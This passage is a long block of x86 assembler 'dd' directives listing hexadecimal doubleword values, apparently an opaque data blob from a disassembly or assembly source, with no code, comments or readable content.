		dd 11F4ED80h, 7B00FFFCh, 55D80760h, 18ABC4D1h, 0D8EA599Ah
		dd 0D63A8C6Dh, 2DD7055Fh, 0B432DCC1h, 62B930D0h, 4853D0B8h
		dd 0B13180B4h, 0EC96DB62h, 6C150D73h, 40589B1Eh, 0E3F236E1h
		dd 6097A13Ah, 55162C30h, 0C993EF5h, 8C51A015h, 0D171BD05h
		dd 54840008h, 0E49433B5h, 2181A034h, 1123B43Ah,	0C904E03h
		dd 0F22699FDh, 68884421h, 0B5001E51h, 0DA64B6C7h, 0FF9B043Dh
		dd 90382861h, 0A1952B00h, 5D102360h, 0CFD8D2A8h, 0D502FA40h
		dd 94B7823Ch, 325D8D80h, 79A272h, 24A7DC61h, 918AA4DDh
		dd 7BCCE250h, 675C6912h, 0C5D9CC1Dh, 0B218D768h, 75576208h
		dd 40C4C450h, 0D262AA36h, 1F3B0052h, 2D14718Eh,	0DE52A0B4h
		dd 1D323F0h, 754B62B6h,	284AB0h, 0AB62AE32h, 6A16463h
		dd 0B0797BC0h, 0BC02A041h, 2399166Dh, 0D9A08236h, 41CB0735h
		dd 7213C03h, 0B34B1D80h, 59A403B8h, 81BCE0D0h, 21180831h
		dd 0F17044E2h, 7BD80114h, 32EF7F63h, 49BCECC3h,	0D81F5D28h
		dd 3FB55518h, 8ABDE70h,	36B260FFh, 4E600244h, 0A423B7B3h
		dd 191151h, 70B343E3h, 40A2978h, 7BFB172Fh, 2408839Ch
		dd 4541DDDAh, 0BAA82496h, 0D8F87401h, 0F4467085h, 19B80420h
		dd 2845DE64h, 12BC08FAh, 32763B28h, 1004F82Ch, 0F6BD2E42h
		dd 717BACA3h, 0DD0DB4D6h, 18ED0744h, 241DAFD0h,	8034F737h
		dd 6F266CBAh, 0B502718Ah, 0E3F56DCFh, 3D5468AAh, 29BC74BEh
		dd 8F4326Ch, 0E812D5ACh, 80DDB40Ch, 46CCA6E2h, 0B3570207h
		dd 32B9A4B4h, 50E65800h, 0C04CCB3h, 2E2D79BDh, 4842D088h
		dd 0F22E063h, 6E286490h, 40241028h, 9318FC03h, 20413521h
		dd 948018D5h, 0E10A7F6Dh, 8814C12Eh, 2767FF86h,	0DCBC0079h
		dd 35C7703Ah, 0ADF0D27Bh, 30C8F67Bh, 0E707813Ch, 42CDFE98h
		dd 2C614DC8h, 0FAEFFCB5h, 1C1428D3h, 8CC0F878h,	61152C98h
		dd 31D00594h, 0F5E0C977h, 527B4040h, 0D8FF00C5h, 5D16428Ah
		dd 0F86236A0h, 0A0A44E90h, 6254ECC4h, 0D295716Bh, 0A3E81C11h
		dd 0A84DB1Ch, 5867D15Dh, 0F4D39E81h, 48340C7Eh,	44530D4h
		dd 0FCE05991h, 0F8977400h, 0E46E85A0h, 0A96400CAh, 0C5C4B391h
		dd 40983B1h, 87E761F9h,	0C7F00B30h, 72A58EBCh, 677C0977h
		dd 90A3DE98h, 0E7E0A989h, 6907F56Bh, 963AECA8h,	0B5C0F0C5h
		dd 14F3B0C7h, 8C1ED061h, 0AD800A3Ch, 0F76522C6h, 0B4006424h
		dd 0B2E4E1B7h, 307062E6h, 89403554h, 0EA602C79h, 0B46E8758h
		dd 32DA0195h, 786704A1h, 20B035D6h, 48CA5F4h, 0BEDB1F05h
		dd 270C6238h, 811F2075h, 0E273BC56h, 6B3F712Eh,	92A56204h
		dd 0E4AC1780h, 31AF6AA1h, 0DCD71DB0h, 88A854F2h, 0CAE82C58h
		dd 0B6C5008Ch, 6982724Bh, 34587561h, 0C0AAC854h, 0BEDE1F0Eh
		dd 12226046h, 1F068200h, 0D3441617h, 745B5846h,	38C0FBCh
		dd 5EBF0F7h, 0BBA0EF2Dh, 0CA1E6274h, 0B9E8C794h, 0AD99220Bh
		dd 14302001h, 4A30C4BCh, 103C6F5Fh, 4F886984h, 232084D6h
		dd 0C03052Ch, 0A1FDAABAh, 7824123Dh, 4A50082h, 0B535B10h
		dd 0E2006B8Fh, 0BF24FF98h, 0BD2A3Dh, 0A03E6D7Eh, 0DC9499ABh
		dd 236C5602h, 0A0F1E026h, 856AE7DCh, 0DE0F5h, 4D5943D5h
		dd 0B0ACBCDBh, 0A888E498h, 0EF009B4Bh, 0E676E141h, 18B471h
		dd 7BF3882Ah, 8FEEC775h, 10D91324h, 3AC993Fh, 64CADCC8h
		dd 162E00Ch, 6FF4C9DEh,	0ED59F70Ah, 4C98026h, 9F65B9CDh
		dd 5D0E0502h, 1C86E78h,	0BDB6B5C0h, 0B4D430D8h,	913C4430h
		dd 0AFCBA5h, 0B896E76h,	82CF7D85h, 4104550h, 0CC52151Dh
		dd 97DF6980h, 98BEC576h, 0AEC4480h, 1220B57Ah, 6D4824C7h
		dd 8A8E00DEh, 0FF58D584h, 0A13C5E30h, 0B0CEBC34h, 0BB3F4430h
		dd 16117916h, 234AC04Fh, 9FF78936h, 1A8DC3h, 0A1E16219h
		dd 0E2B5CCDDh, 24A31B00h, 0A803D34Ah, 20F0900Ch, 0DD30FEB2h
		dd 0BECD99FDh, 55E900D2h, 924C2893h, 0D803BFE4h, 0EA7CFFFAh
		dd 0B62000E8h, 6158C3BCh, 270763C9h, 0A31C9AB8h, 13ECEE50h
		dd 0F1942672h, 89238094h, 0CA3E8B5Eh, 0D248C500h, 773FF918h
		dd 0C9060276h, 232C5570h, 0FD96BC82h, 1A6D4E00h, 0C210003Ah
		dd 7B55DD8Ah, 189644C5h, 94B83480h, 0E606B3F7h,	0DF4C01FFh
		dd 0CEFA4001h, 0F6FC42B7h, 82FE7E20h, 0DB0F01C8h, 0C36D56DFh
		dd 0C8041423h, 0FF05D33Fh, 730C005Dh, 0EBDE2B5Eh, 5BB03400h
		dd 7C9D72CDh, 0AEE8E7h,	69240764h, 92C66884h, 2E6660E6h
		dd 121DF08h, 26929AAh, 7044A2FCh, 3F00EE5Bh, 2177F459h
		dd 30E1CE6h, 0F3685B83h, 18035687h, 5A9464C0h, 68A6A9h
		dd 23268F8Eh, 6D0BFF27h, 8A72F31h, 2080635Ah, 0AF2697F3h
		dd 0E90F8BA8h, 40754119h, 0BCE66D04h, 9B60C61Ah, 76319027h
		dd 10941834h, 68640104h, 81BDF7BBh, 4FE3CC80h, 75F061CBh
		dd 0B7B90063h, 662351E8h, 0A7033BECh, 46E2E7FAh, 44410068h
		dd 0DB96AD9Fh, 0B2330EABh, 35809E3h, 0AD97A421h, 48C6015Fh
		dd 0EFBA20h, 425527E1h,	599667BCh, 0AA93A200h, 0B5E67D9Fh
		dd 51E4008Fh, 3484D2A9h, 0F900582Fh, 3E1E5C63h,	16A112D1h
		dd 0FC9B9C30h, 0C1E700C6h, 0B4D67479h, 550004Fh, 7DBBF83Ah
		dd 0D200AAE1h, 3CD15827h, 0E8AD3198h, 0FD8E030Ch, 1896A71Ah
		dd 2CF5F1B8h, 20B74D00h, 0F404C15Eh, 0A62B00FAh, 0FC5561CCh
		dd 0DC038D8Eh, 0AB5DE4D1h, 0F85AB0D0h, 1BBF6D2h, 0E90973B5h
		dd 0DC276277h, 42F826FBh, 790E3Eh, 0E81AFC88h, 0E05DFD70h
		dd 9CC7004Ah, 4990E97Dh, 0B863F104h, 0FC5308h, 9CCFA520h
		dd 0FD905E9Eh, 3E748F00h, 0EF421D2Ah, 8D8030A6h, 0CF6A6E28h
		dd 6007853Ah, 218C2058h, 79895C3Fh, 0AF81A90Ch,	21C03C08h
		dd 2A21944Ah, 15E30093h, 20958D5Fh, 36048F7Ch, 69D558CFh
		dd 5075D6C1h, 386C68B8h, 48CB369h, 89132198h, 203E629Fh
		dd 2021A046h, 80BA5839h, 7988973Ah, 0C14EEDFAh,	0BF3EE358h
		dd 667080B1h, 0CDC4C127h, 56A30007h, 6EB560CBh,	9007AF0h
		dd 0F9FAFB8Ah, 2AA6E871h, 0E09064E9h, 0C52A39CCh, 6163A50Ah
		dd 423831B0h, 3CE700F4h, 9A940084h, 6304FA07h, 863CC3E1h
		dd 7F179D71h, 95A3480h,	6C2CD1h, 6C61BC5h, 289EA488h, 0B0018300h
		dd 4640D477h, 24FE59h, 0BD731D8h, 21F57366h, 8961791Fh
		dd 975D8A41h, 0D8ECBE09h, 0FCAF00C5h, 0E0FA415h, 5600EB62h
		dd 0E941B949h, 3F8A2339h, 7900A64Dh, 886427B0h,	740063D9h
		dd 5CB3DA6Fh, 3A2914Ah,	7F95E2E4h, 918F158h, 0AA20D957h
		dd 56A200A9h, 2F371C02h, 0AF1CD02Eh, 168039FEh,	0DFD96E34h
		dd 5071604Fh, 0BBA56BFAh, 10C0A374h, 1A1498BCh,	0F59606D5h
		dd 8AEDD5Fh
		dd 0E321A160h, 9314A0h,	0D00BC16Fh, 0EEAF2752h,	8EEF6A00h
		dd 0C2B557F8h, 94E9E9B3h, 0BCBC90BEh, 0D4033077h, 6315FA11h
		dd 2F428C01h, 1F5B6FB8h, 21E60898h, 630C0D90h, 104F2199h
		dd 30840FDAh, 137FC3h, 5DEC0BACh, 180020C6h, 9248A943h
		dd 0FC17E4F4h, 0DF352C21h, 22970E12h, 0F2405DACh, 0A4187873h
		dd 0B4C9ADBCh, 76E807CCh, 0F00D36C3h, 542518CEh, 77094A01h
		dd 0A9977984h, 0A86575F4h, 77E806BCh, 0AC1A07E1h, 5035D523h
		dd 0D862897Eh, 4F90B41Ch, 0F5C0949h, 53B9586Ch,	93300FEAh
		dd 0D5E3E8DCh, 8309834h, 0F281214Bh, 0F0680030h, 0BA32341h
		dd 0E4A86675h, 0A2EE8942h, 0BEADAB00h, 0F0EC0F3Fh, 19EF143Dh
		dd 0A423DC47h, 0A414990Fh, 0E2389ED5h, 281F14EAh, 34819AE1h
		dd 7CB1BCE4h, 0A8E502F0h, 859EBCh, 6526A01Ah, 0CECA280Fh
		dd 661EC30Bh, 99FA00A5h, 332EC4h, 0EAFE5B5Ch, 8436A147h
		dd 407A1BF0h, 0D9A74230h, 0AB64D4A6h, 7C59E39Ch, 0DD3D0461h
		dd 82B507B9h, 0ED19CD10h, 900C18h, 10674224h, 9B40ECC4h
		dd 46046364h, 680EAD00h, 3123D595h, 1F500C2h, 0DC3C9B90h
		dd 0A61522B9h, 3A8F0D9h, 38576B2Bh, 5D74B0F3h, 0DA880584h
		dd 8026F1Dh, 0E5C0A1DCh, 46DC9230h, 4D2290h, 9530ED74h
		dd 93941CE9h, 651DE200h, 42C5F85Dh, 0E85B6006h,	0E8E36A69h
		dd 87E0D815h, 0D5DB09C4h, 620C875Eh, 0A7A22841h, 0EBE830A0h
		dd 14089618h, 0C486D518h, 9E9940A0h, 1EF414h, 98B8F955h
		dd 57C55978h, 13DAE422h, 2004AB4Eh, 143B6B1Ch, 231FDD00h
		dd 5EB05F81h, 9CC128F8h, 1AD16089h, 71628A64h, 0E0232F00h
		dd 31D972DAh, 0EA890F8h, 75F41847h, 6C5D0BC0h, 9E005422h
		dd 0ADC6A958h, 31CE35D1h, 7BD98A66h, 0BB5880A1h, 59BC541Ch
		dd 2A763B7Fh, 102368CCh, 0E1A2AE01h, 5318BDE2h,	4A6A588h
		dd 0D59D20A2h, 0F6BC8143h, 0B3A30048h, 0B1C93E9h, 0A9046318h
		dd 0F2CCE07h, 0DD631097h, 1074A289h, 0FCBCCB4h,	83069FCFh
		dd 59609960h, 841C4E85h, 8B413C8Fh, 0FF429E5Ah,	48043080h
		dd 32ED7120h, 7F12AF00h, 28845A49h, 7C30039Bh, 47BEE5D5h
		dd 6E48A01Fh, 915C98C0h, 1D480DDh, 425D4BECh, 254C95D8h
		dd 0E62F014h, 0B7BFE300h, 7231C34h, 0D9525C33h,	0EBB6C300h
		dd 2F21724h, 0FCC9D760h, 3D3A4C1Ch, 63129B27h, 2AAC0EA0h
		dd 0F0E6EB40h, 7530C138h, 0E332E15Ch, 0A0490039h, 0EE7F7237h
		dd 3B006D0Dh, 97663841h, 712456E8h, 0E2C201BEh,	0E0D97175h
		dd 0B53424A5h, 0B126D618h, 927F22D0h, 7C9B0E80h, 2D8039CAh
		dd 0C094C618h, 0DAB2E00h, 362372FBh, 496B0047h,	4B04137Ch
		dd 2E38F1BAh, 1E4E80F2h, 0B408E6ABh, 0B9630052h, 3DBE967Dh
		dd 9828EC11h, 7CE68734h, 0D8003B7Bh, 57CEEAD0h,	36FF8A6h
		dd 0FB4CDD63h, 9588628Fh, 0E0EA3B70h, 9FD4980Fh, 81BDEE25h
		dd 0A7B58B04h, 21080898h, 2500977Bh, 87143FD6h,	7685EFB2h
		dd 0E6F7002Bh, 7121B0A3h, 80C0F211h, 0A4A98CEh,	91DCE5h
		dd 6FA1FBDDh, 661BD0DCh, 0DE08CC67h, 26A60021h,	0ED30D1FBh
		dd 7990357Bh, 6BF1150Eh, 0EFADE00Bh, 6C96B159h,	3491E806h
		dd 28199074h, 4211689Ch, 64C55ECh, 30ACA4F1h, 606009E9h
		dd 5590A221h, 4A363BFEh, 0AB915980h, 0CA21A7F1h, 78C71700h
		dd 0D6A1613Fh, 3DBB32F0h, 8330DB60h, 0F1491155h, 816188CCh
		dd 0E8559B9Dh, 4B2CDC23h, 1B210400h, 8FF46531h,	0EBE9303Fh
		dd 67B361F1h, 6F3383E8h, 0F7D0D137h, 0CD4A0EC0h, 34ED020Bh
		dd 3CAF5473h, 0F40D8081h, 0F8FAE910h, 0CEFE969Dh, 5B008FF6h
		dd 7A6C3E70h, 8177F2h, 0C0AEBD80h, 0DB564363h, 0CA91F70Fh
		dd 8388A0ECh, 712224h, 0C35D4D9Ch, 1A5256E2h, 12D9DC00h
		dd 5FD61126h, 0ACFE4Bh,	0F4CCCD3Dh, 857FC16Ch, 7E9B0A00h
		dd 70BA327Ah, 614B009Eh, 77F16D21h, 0C8011F22h,	31B5F6BDh
		dd 6FC43226h, 0F200009h, 3F2F59A2h, 0B00E99Fh, 0A1E83B8Ch
		dd 82AE46h, 0C474C551h,	2C48BA08h, 91D9AD0Fh, 0A3550360h
		dd 7275C15Ch, 38339C0h,	71124833h, 5EE89177h, 0CA0E4360h
		dd 98DA582Eh, 3F623510h, 0EBA889Fh, 954B499h, 15218726h
		dd 67E0987Ah, 7F731B7h,	0E3763550h, 27F180DCh, 553E1536h
		dd 79751B81h, 0D5391D18h, 0FDAF0658h, 2A0011D0h, 0B96C1D25h
		dd 37D1541Ah, 0AC080251h, 2D761121h, 0E4FC9700h, 0BA56D426h
		dd 0B9F40025h, 9ECEA6D0h, 0D8D462F1h, 0D2650C4Eh, 0ECA385Fh
		dd 639A887Eh, 0CE31F4C1h, 520998DDh, 0CB01E21h,	6DB68E9Ah
		dd 83005E10h, 580DCC94h, 0ED67455h, 6C0236EBh, 3D69C360h
		dd 7A180A57h, 43316BB6h, 32A400BBh, 135A7D12h, 0E600CECDh
		dd 0C6726DFAh, 51D0C3CBh, 0B002B42Dh, 9F5D3011h, 565CBB11h
		dd 10802988h, 0AD3D9875h, 205E673h, 62B85D71h, 8CA1C4FCh
		dd 0D968B2CAh, 0B19EC145h, 323C7060h, 0B78BA200h, 47A9A400h
		dd 1526AFCCh, 1AEEEEh, 0FF9E670Ah, 8DB37543h, 54CA1309h
		dd 191C0036h, 7B6DB8h, 68B10584h, 3A949AF5h, 0A5632600h
		dd 0BFF28CDFh, 8F7C0EBBh, 0FE40048Eh, 865ECDB9h, 97078B00h
		dd 88B4BEFFh, 5B83935h,	4E2F0E05h, 0CAEC060h, 240113B9h
		dd 0B1FF4648h, 72F04F10h, 0F9A60045h, 40222880h, 0F439ACC4h
		dd 5B8DA659h, 0D0C28300h, 9404B4h, 21E29A02h, 73B9177Bh
		dd 6171B000h, 452D54BFh, 0E00200C9h, 740A82ACh,	0DA00C787h
		dd 2AD0793Fh, 4C68F5h, 0FF4A61C2h, 1E3286F8h, 0C5730900h
		dd 0C7A28E93h, 961300C6h, 89CA1688h, 675D179h, 9DFC3E00h
		dd 2768FB67h, 6B7C1Ch, 460E95CBh, 89414457h, 0B532A300h
		dd 5D62256Dh, 8FF000A2h, 0F293D981h, 0C4004FA5h, 94D8743Ch
		dd 3A96E7h, 181CFE6Dh, 6AF2A88Bh, 6704D900h, 0ECD3FFCBh
		dd 0EABCF009h, 768CF660h, 222E0213h, 70990E2Bh,	35AA18E0h
		dd 597EC600h, 0A30550D0h, 38FE23h, 0B4E7B318h, 0EBBF79F7h
		dd 0C5AD1B1Ch, 0B683FA80h, 9F68D3h, 10585DA9h, 45196FA5h
		dd 0BB9C3706h, 0F48E367h, 0A216B957h, 9E834D80h, 0AB1D5A59h
		dd 1186D203h, 585760h, 0DD45CEE4h, 9AF447AAh, 8952170Ah
		dd 2E1FF39Eh, 3022D980h, 309FE14Ah, 8871C20Eh, 38007E19h
		dd 0EABBE883h, 187D2D8Eh, 59ECAD21h, 35745AF8h,	2E00E7F0h
		dd 0BEE013E1h, 7F0F31h,	53C392DCh, 0ABB59689h, 8AF93700h
		dd 0B9F1B6DAh, 0F55600A4h, 2A71AF7Dh, 29007FA9h, 0E2307317h
		dd 5F6C60h, 0EFDB94D5h,	59B064AEh, 3574B707h, 0C1FCA7B9h
		dd 0F3F71F50h, 0B42C4098h, 0A6F28251h, 0A3105303h, 0A00632E9h
		dd 876DEDh, 0EBBBCB21h,	348C033Dh, 0A14C71Fh, 0F04BD282h
		dd 0E8DDE073h, 94EB004Ah, 8734DCFBh, 0C1007824h, 6453BFE1h
		dd 76A240h, 0C951C67h, 3BB1E6C2h, 0AE4E000h, 17A0388Ah
		dd 9C1B502Dh, 0B1436EDFh, 9D3C2C00h, 36F2AA85h,	0E775A600h
		dd 60D60DFEh, 0C0A000EBh, 0AD2607C1h, 0E0031ECEh, 53B6E194h
		dd 57CB24h, 65AD550h, 58DFAEAFh, 349BB700h, 0D112B8FBh
		dd 1EEA004Dh, 0F997A4ECh, 1A26C642h, 0B7008985h, 0FB2C2F57h
		dd 457DB1h, 0E9400495h,	0BAAED903h, 46537600h, 18AB596Ah
		dd 0C5E4B5h, 8001F110h,	2B84D6B4h, 85E84014h, 79B009Ch
		dd 60A3021Eh, 7A63061Ah, 42D6E6Ah, 0BFAFC000h, 0A1D94BE9h
		dd 0D30E0ABCh, 98417EBh, 0D9804258h, 6647CFA2h,	5B00E27Fh
		dd 0BB06C15Fh, 91FE61h
		dd 3C7D7E37h, 49CACD8h,	0BD00CD71h, 3B5BF9B3h, 1C96EC74h
		dd 12E27D9Dh, 0C280593h, 0A5D580F6h, 0BF0FDB8Eh, 83019B95h
		dd 0B3632ADCh, 1669B0C8h, 4A273BDh, 0A0C4E19Ah,	78ABC0E2h
		dd 0A500DF37h, 0F6B7DB74h, 0ECAECAh, 8DDD56F8h,	0B9F96D58h
		dd 8B2101Eh, 0A6C7F3C0h, 3C5384F6h, 828E9E34h, 7B201DA0h
		dd 0ACB88AC0h, 0F95BC00h, 0E9018CEEh, 11940010h, 631D5D07h
		dd 807B62Dh, 2642B41h, 3D34A940h, 2F0D1E65h, 0CE0C7A0h
		dd 568F936Ch, 2506BB0h,	9F97D200h, 78AF5879h, 32F038Dh
		dd 21752E40h, 111A000h,	4CAC806h, 838000F5h, 0CCE6CBA3h
		dd 409057FAh, 80225A3Eh, 0C015BD55h, 1E3E01B2h,	9FB8D22Ch
		dd 54EC073h, 25C1DF40h,	2F99900h, 0A9B72CB1h, 54241CF8h
		dd 18A2D7FFh, 0C5DD7090h, 9564F200h, 1E7502AAh,	5E6E0046h
		dd 4B384DFFh, 0B77347A1h, 2A59D800h, 0C09C6B1Fh, 0F5FE00AEh
		dd 81916D57h, 51004886h, 32DC3084h, 0AD8BFBh, 571C28BCh
		dd 47970D33h, 7611E400h, 0AC6F6219h, 83C20327h,	0E6FC8D69h
		dd 90D3E008h, 0D9CA0058h, 0E0D1783Eh, 304A3Dh, 0A4E71359h
		dd 7F7C01CDh, 2FF100E3h, 1A698ED3h, 6F4DE5A2h, 8DEB0198h
		dd 0EF861037h, 0D3971080h, 467BB08Ch, 2CD05B07h, 7DB2EE42h
		dd 0C04CCB56h, 30F87684h, 1180DFDCh, 0AF021A29h, 5192E67Ch
		dd 658E80B7h, 607834h, 4FF13512h, 54CCBE3Bh, 0E6A31500h
		dd 76B34A98h, 0BAF800FDh, 0DB1A2407h, 91007D35h, 74A01517h
		dd 144C48AEh, 0BC14458Ch, 20E47600h, 0C7306FBBh, 0E648B873h
		dd 0F0D10098h, 2509CBEFh, 0D9A7003Dh, 0B9F3FD58h, 740039F8h
		dd 3CED56ACh, 3CADE66h,	0D6B2F716h, 80EFEFE6h, 5A4F6C9Ch
		dd 38F4961Dh, 0DE712EC0h, 8979B1h, 530E7C49h, 691358DBh
		dd 62CD378h, 0F5000F36h, 5F9BD565h, 5BDB00A0h, 792E95C9h
		dd 0D1005C04h, 0F31AE175h, 3CCACC89h, 8A818DE6h, 4554889Ch
		dd 506310h, 4A4CF807h, 69C79Ah,	548628AAh, 0DDC1CE48h
		dd 3444180Fh, 0D6A7209Fh, 370C7Ah, 0E6A54074h, 5A0D20C4h
		dd 0AB09171Fh, 3F801B80h, 1DB08F6Eh, 0C044E678h, 7239A731h
		dd 0CC002B2Ch, 9F1E8274h, 3D50B5Ah, 0DFEA99D0h,	0FF8075ABh
		dd 68002851h, 0B8ACF134h, 3192C0h, 0EE19B6D1h, 3E36F45Fh
		dd 7A00177Dh, 7DEC4035h, 8745DEh, 0BD63B2E9h, 49222F53h
		dd 0FB91C305h, 6C80B827h, 8243A1h, 59868C10h, 0DA1D5118h
		dd 0E4C63C02h, 681EE584h, 0FC12418Ch, 0ED040159h, 2AA16B5Bh
		dd 0EFC0D490h, 0A2652802h, 892C0A2Dh, 93F0908Ch, 0BAD400E3h
		dd 71419E1Ch, 0D10090A8h, 46011FC1h, 0C0E8AE28h, 9F66BEE0h
		dd 96304204h, 6C9D711Ch, 9D973DCh, 4CBFAB51h, 0FBDB5D07h
		dd 0C90C2C0Bh, 64790F10h, 0AF200083h, 91A82DB0h, 3D00D1C8h
		dd 2FA956E3h, 71ADF430h, 1D70EC7h, 66619E5Eh, 0C8973980h
		dd 0C100028Dh, 40102E63h, 6CD7894h, 933DD907h, 5C0058BDh
		dd 5ADE1C8Ch, 7CD89F6Fh, 7C647CD7h, 0E558A042h,	80E35CBAh
		dd 4CD60E08h, 0B1E3503Eh, 7C0E5078h, 800454C9h,	97765AD3h
		dd 10C34D64h, 990F7C42h, 3FC2E39Ah, 9F60FC56h, 0EB004367h
		dd 8B23E653h, 0F581D1Eh, 0DC964E0Eh, 31051100h,	970730A5h
		dd 8A39B6CEh, 0D7B10A70h, 3CF903EBh, 82D066A7h,	0B829A8B8h
		dd 0C238FF60h, 0F2FEF7D9h, 13EEE5h, 99F9B7DEh, 57C5A5CEh
		dd 0C8988200h, 48A278BCh, 0CCE7037Fh, 88D64F18h, 0DAF669F0h
		dd 0A7236E01h, 0C8420645h, 163868D6h, 79FB0556h, 5F60DABAh
		dd 0ABA80684h, 5A0CF1EEh, 31A63F55h, 29300B98h,	1D80EF4Ch
		dd 0BF74BA95h, 0CC53C203h, 0A908119Fh, 0D821F491h, 7AF62C8h
		dd 17C53CC4h, 8F80D975h, 0C1E9E1B8h, 1459A82Bh,	1151D840h
		dd 0C95AEA68h, 16832A99h, 0D3981287h, 6C615F91h, 420E30B1h
		dd 72E86760h, 0F12C00D1h, 0C6DD1F0Fh, 0F307C1F6h, 0A828CDDEh
		dd 195FB881h, 14293987h, 0D2407EB7h, 6ED9D727h,	0BE8A360h
		dd 351D36h, 0CC2DF368h,	6760A9D3h, 0B89A39C7h, 0E3399F0h
		dd 0C3F8002Bh, 65205744h, 0CD3FB2AFh, 5C542897h, 0B0E2212Eh
		dd 42C600BCh, 0BCB14446h, 2F820035h, 2E3EBB02h,	531F4031h
		dd 2B5E987Dh, 76C50100h, 605FB0BAh, 31E5796Bh, 0E7904C8Ch
		dd 0C8E21701h, 8E5542E7h, 30B1D3DCh, 0E369A138h, 900B23Dh
		dd 5E94D1C4h, 0BF54EBh,	39466AF8h, 8537F0B5h, 423D0900h
		dd 0A5FD454Ah, 6D9D061Bh, 716160C3h, 8C7C2FE8h,	98FAAC63h
		dd 0BFAD9046h, 0A04C31F3h, 0F894CDDEh, 14780D82h, 9F5D970Ah
		dd 0E80ADC31h, 0C44F98CBh, 2890E276h, 0E388E6h,	0F2E0FB8Bh
		dd 139563D6h, 0B1172E00h, 5FA1F3DBh, 684857h, 0E6B49200h
		dd 7C46C4FCh, 0F514831Dh, 0DDC0AB9Eh, 72FF700Fh, 46D53F3h
		dd 3D9C05FAh, 6800829Dh, 79D14890h, 5FF503F3h, 0A697DD92h
		dd 0F8493087h, 0CD1E9C01h, 1FA603Dh, 0F6F376A7h, 2990983Ah
		dd 0CF5684A4h, 4442D948h, 21B824FEh, 8512D0F7h,	89FBAD10h
		dd 44A8089Ch, 2284F1F7h, 7020E666h, 61B8009Bh, 0E92D943Eh
		dd 9F000223h, 228F5B80h, 704CDD1h, 871374FDh, 69ABC09Dh
		dd 20096D0h, 54104F3Dh,	0E09C3381h, 249400E9h, 38060D85h
		dd 900405Bh, 3A6FF9Dh, 0C27FDh,	6C4263B9h, 2C88DDE4h, 3995380Fh
		dd 8A3CE06Bh, 7D5A7456h, 182203F0h, 5968A864h, 0E1E81000h
		dd 0B041D00Ch, 50F60A1Fh, 0BC6E71h, 5B5A8523h, 0D15CAAA9h
		dd 0E6930B96h, 1E9C0004h, 7140F11h, 0C6C28F63h,	8361404Fh
		dd 7A0029AAh, 0D417684Ch, 48B8BFE0h, 91CA823h, 1D5CC0E2h
		dd 0E80D7E03h, 0AFADC700h, 65B8F9EDh, 3480008Ah, 63F14B21h
		dd 0D9000FB0h, 4F7D52A5h, 30DCECC6h, 8048551Fh,	0AF072FCBh
		dd 0E21641E5h, 0ECA30660h, 46BF070Fh, 3E121E9Bh, 4145ED00h
		dd 7C58A6DFh, 16920066h, 121F7EA7h, 0E475FFh, 91D4F6E6h
		dd 0FA0F6ED0h, 3D445849h, 385700CCh, 68B078ABh,	79010050h
		dd 0E48F118Dh, 3900F465h, 46B4BCAAh, 1C6EEB9Eh,	0DD7508C9h
		dd 0E330C14Dh, 0C466D3ADh, 120086FBh, 214EF82Ch, 31DB04h
		dd 0B843E167h, 683D7AEFh, 59F24D2Ch, 1981D800h,	3A3B90h
		dd 0B9E49C6Eh, 0D1290466h, 0C8928803h, 8A5E802Eh, 85224027h
		dd 0CCE63Dh, 0A435F30Dh, 652EC479h, 0BD0009ECh,	81592C31h
		dd 0DC0520h, 4F78A908h,	0D0AAFD6Ah, 0EE824200h,	0F2BC1CD4h
		dd 7EB1006Dh, 842A3817h, 0AC00E408h, 2B391F63h,	0EA068Eh
		dd 81807BBAh, 0C1BDA386h, 143E540Fh, 0B23980F7h, 0FD0E97h
		dd 15A617DEh, 1EE135BFh, 880E9176h, 0C0D893EAh,	0CD2DCA5Ah
		dd 5DEEAEh, 0CB8F36E9h,	8D88D289h, 0BA68D100h, 4FFFF5F9h
		dd 0E17B00C7h, 66EC291Fh, 0EA3C8C67h, 9800F3A5h, 7B084680h
		dd 33DC85Ah, 0DE4202F6h, 4A0F8E3h, 4950AF38h, 0C006098h
		dd 0F33B733Dh, 7583EE0h, 437CEBAAh, 0A9A7C086h,	0D193599h
		dd 4C304425h, 1F5957F4h, 83D8C7h, 2BAC452h, 9D07A2DEh
		dd 0B92DB4F6h, 0EEFFF240h, 3933241Ah, 53A23F98h, 0B03ECA00h
		dd 0F9AB56Ah, 0EEAE0E13h, 8B006523h, 0E787EA80h, 3CD49507h
		dd 0E5801E04h, 5528AFh,	8920FEA2h, 0F6DA6E87h, 694FB707h
		dd 0EDF0D54Eh, 3C4619F8h, 0C3009A5Dh, 7EEA7874h, 4F638CA7h
		dd 0E17609B6h, 86E04117h, 0BEF608h, 0A2DFF2D7h,	0FDBFE198h
		dd 23011BF6h, 4CD4A65Dh, 4A80A9AEh, 5B6DD83h, 1008A76h
		dd 255FA5FBh
		dd 13AAB284h, 0ED4C9h, 0DE8119C0h, 89018C74h, 0A180E244h
		dd 60DE6FFBh, 66E414h, 7C673394h, 0AAC95AE1h, 1DA23603h
		dd 0D074B016h, 0A03C8Ch, 0A5C57A49h, 4D589D6Dh,	7D036098h
		dd 0FB7B065Fh, 6250B894h, 4581015Dh, 9CDDE8A1h,	89C2FEEBh
		dd 76FB9800h, 0E203C035h, 0BAA8C63Fh, 5B97E873h, 64674C6Dh
		dd 72BC3700h, 7831FADDh, 0B401CFECh, 2099DC61h,	0E4406CC9h
		dd 7F6F7775h, 288F1AACh, 3C685298h, 0DA289DE8h,	0B448E495h
		dd 0A8530E38h, 42629F9h, 32C02AB4h, 95F2FDh, 2C8AB527h
		dd 0B24F35A5h, 0C7CD312Ch, 7EF85000h, 0ECAEE23h, 14069A89h
		dd 0A4764B80h, 1F308E5Ch, 0F3A6E0E1h, 0FD8F0041h, 0E24C2AC4h
		dd 3403926Ch, 8C47ED2Dh, 0AD67B8EBh, 33C0776h, 47F8F6D1h
		dd 7450A0A2h, 4A00EB09h, 685C3188h, 0E89FDEEh, 34E3C5FFh
		dd 0F260F740h, 0E50E5402h, 608FA2B1h, 2AB90DDCh, 0C634013Ch
		dd 0CEEE5213h, 0B361875Ah, 6A14BEB2h, 0C236FE80h, 0FC1E0082h
		dd 3540D3B5h, 7F007A20h, 9B0E4DDEh, 0B39C2Fh, 4F939881h
		dd 0D83F9A52h, 32090107h, 0C05E0CF1h, 7D8A697Ch, 1C6000E8h
		dd 0F0372D47h, 0C000CCADh, 6F445CD1h, 763CF7h, 0BA64B44Bh
		dd 0B363DEBEh, 0A5755501h, 539F7AF9h, 261D8FCh,	0B97764ABh
		dd 0CA61B3AFh, 8F3DC8D5h, 51F32E00h, 5DBC55FCh,	0B5ED0029h
